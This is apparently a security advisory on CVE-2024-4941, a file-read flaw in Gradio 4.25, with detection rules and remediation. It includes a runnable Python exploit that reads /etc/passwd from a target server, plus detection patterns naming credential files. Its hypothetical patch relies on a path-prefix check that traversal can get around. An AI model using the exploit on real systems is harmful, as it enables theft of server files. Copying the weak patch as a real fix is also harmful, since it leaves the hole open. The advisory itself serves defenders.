CVE-2024-4941

Executive Summary

CVE-2024-4941 is a Local File Inclusion (LFI) vulnerability in the Gradio web application framework (gradio-app/gradio) version 4.25. The flaw resides in the JSON component's postprocess() function within gradio/components/json_component.py. Improper input validation allows an attacker to craft a JSON payload containing a path key. When processed, the processing_utils.move_files_to_cache() function traverses the object, identifies the path key, and copies the specified file to a temporary directory. The attacker can then retrieve the file via the /file=.. endpoint, leading to unauthorized disclosure of sensitive files on the remote system. The CVSS score is 7.5 (High), with a low attack complexity and no authentication required. No official patch has been released at this time.

Supply Chain & Package Security

This vulnerability affects the PyPI package gradio. Users of Gradio version 4.25 are at risk. The package is widely used for building machine learning demos and web UIs, making this a significant supply chain risk for any application that depends on this version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Complete file read possible.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability allows an unauthenticated attacker to read arbitrary files from the server, including configuration files, source code, and credentials.

Deep Dive & Mechanics

The vulnerability is triggered through the JSON component's postprocess() method. When a user submits a JSON object, the postprocess() function calls processing_utils.move_files_to_cache(). This function recursively traverses the JSON object, looking for any dictionary that contains a path key. If found, it copies the file at that path to a temporary directory. The attacker can then access the copied file via the /file=.. endpoint, which serves files from the temporary directory.

Attack Flow:

1. Attacker sends a POST request to a Gradio endpoint that processes JSON input.
2. The JSON payload includes a path key pointing to a sensitive file (e.g., /etc/passwd).
3. The move_files_to_cache() function copies the file to a temporary directory.
4. Attacker retrieves the file by accessing /file=.. with the appropriate path.

Root Cause: The move_files_to_cache() function does not validate whether the path key points to a legitimate uploaded file or an arbitrary system file. It blindly copies any file specified.

Vulnerable vs. Patched Code

Vulnerable Code (gradio 4.25):

# gradio/components/json_component.py
def postprocess(self, y):
    ...
    y = processing_utils.move_files_to_cache(y, self)
    ...

# gradio/processing_utils.py
def move_files_to_cache(obj, component):
    if isinstance(obj, dict):
        if "path" in obj:
            # Copies file to cache without validation
            shutil.copy(obj["path"], temp_dir)
        else:
            for key, value in obj.items():
                move_files_to_cache(value, component)
    elif isinstance(obj, list):
        for item in obj:
            move_files_to_cache(item, component)

Patched Code (Hypothetical):

# gradio/processing_utils.py
def move_files_to_cache(obj, component):
    if isinstance(obj, dict):
        if "path" in obj:
            # Validate that the path is within allowed upload directories
            if not is_safe_path(obj["path"]):
                raise ValueError("Unsafe file path")
            shutil.copy(obj["path"], temp_dir)
        else:
            for key, value in obj.items():
                move_files_to_cache(value, component)
    elif isinstance(obj, list):
        for item in obj:
            move_files_to_cache(item, component)

def is_safe_path(path):
    # Ensure path is within the upload directory
    allowed_prefix = "/tmp/gradio/"
    return path.startswith(allowed_prefix)

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable Gradio application (version 4.25) using Docker:

   docker run -d -p 7860:7860 --name gradio-vuln gradio/gradio:4.25
   

2. Access the application at http://localhost:7860.

Exploit Steps:

1. Identify an endpoint that accepts JSON input (e.g., a component with type="json").
2. Send a crafted JSON payload with a path key:

   {
     "path": "/etc/passwd"
   }
   

3. The file is copied to a temporary directory. Retrieve it by accessing:

   http://localhost:7860/file=/tmp/gradio/.../passwd
   

   (The exact path can be found in server logs or by brute-forcing the temporary filename.)

Automated Exploit (Python):

import requests

target = "http://localhost:7860"
payload = {"path": "/etc/passwd"}

# Send the malicious JSON
response = requests.post(f"{target}/api/predict", json={"data": [payload]})
print("File copied to cache. Attempting retrieval...")

# Brute-force temporary file name (simplified)
for i in range(1000):
    file_url = f"{target}/file=/tmp/gradio/{i}/passwd"
    r = requests.get(file_url)
    if r.status_code == 200:
        print(f"File retrieved: {r.text}")
        break

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests containing JSON with a path key.
• Look for unusual file access patterns to /file=.. endpoints.
• Check for attempts to read sensitive files (e.g., /etc/passwd, /etc/shadow).

Defense:

• Implement input validation to reject JSON objects with a path key unless it points to an allowed upload directory.
• Restrict the /file=.. endpoint to only serve files from the upload directory.
• Apply the principle of least privilege to the Gradio process.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/predict or similar endpoints with JSON containing "path": "/etc/passwd" or other sensitive paths.
  • GET requests to /file=/tmp/gradio/... with suspicious file names.
• File System:
  • Unexpected files in /tmp/gradio/ directory that match system files (e.g., passwd, shadow, config).
• Logs:
  • Gradio server logs showing move_files_to_cache being called with suspicious paths.
  • Access logs showing repeated attempts to access /file=.. endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_4941_Gradio_LFI {
    meta:
        description = "Detects Gradio LFI exploit attempts via JSON path key"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-4941"
    strings:
        $json_path = /"path"\s*:\s*"[^"]*\/etc\// nocase
        $json_path2 = /"path"\s*:\s*"[^"]*\/proc\// nocase
        $json_path3 = /"path"\s*:\s*"[^"]*\/var\// nocase
    condition:
        any of them
}

Sigma Rule

title: Gradio LFI Exploitation via JSON Path Key
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-4941 by sending JSON with a path key pointing to sensitive files
author: Valters IT
logsource:
    category: webserver
    product: gradio
detection:
    selection:
        http.method: POST
        http.body|contains: '"path"'
        http.body|contains: '/etc/'
    condition: selection
falsepositives:
    - Legitimate use of file uploads with path key (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-4941 Gradio LFI Attempt";
    flow:to_server;
    content:"POST"; http_method;
    content:"\"path\""; http_client_body;
    content:"/etc/"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Gradio to a patched version once available. Monitor the official repository for updates.
2. Apply a WAF rule to block JSON payloads containing a path key with suspicious values.
3. Restrict file system access for the Gradio process using containerization or AppArmor/SELinux.

Long-term Fix:

• The vendor should implement input validation in move_files_to_cache() to ensure the path key only points to files within the allowed upload directory.
• Add a whitelist of allowed directories for file copying.

Workaround:

• Disable the JSON component if not needed.
• Implement a reverse proxy that inspects and sanitizes JSON payloads before forwarding to Gradio.

Valters IT
DevSecOps & Cyber Threat Intelligence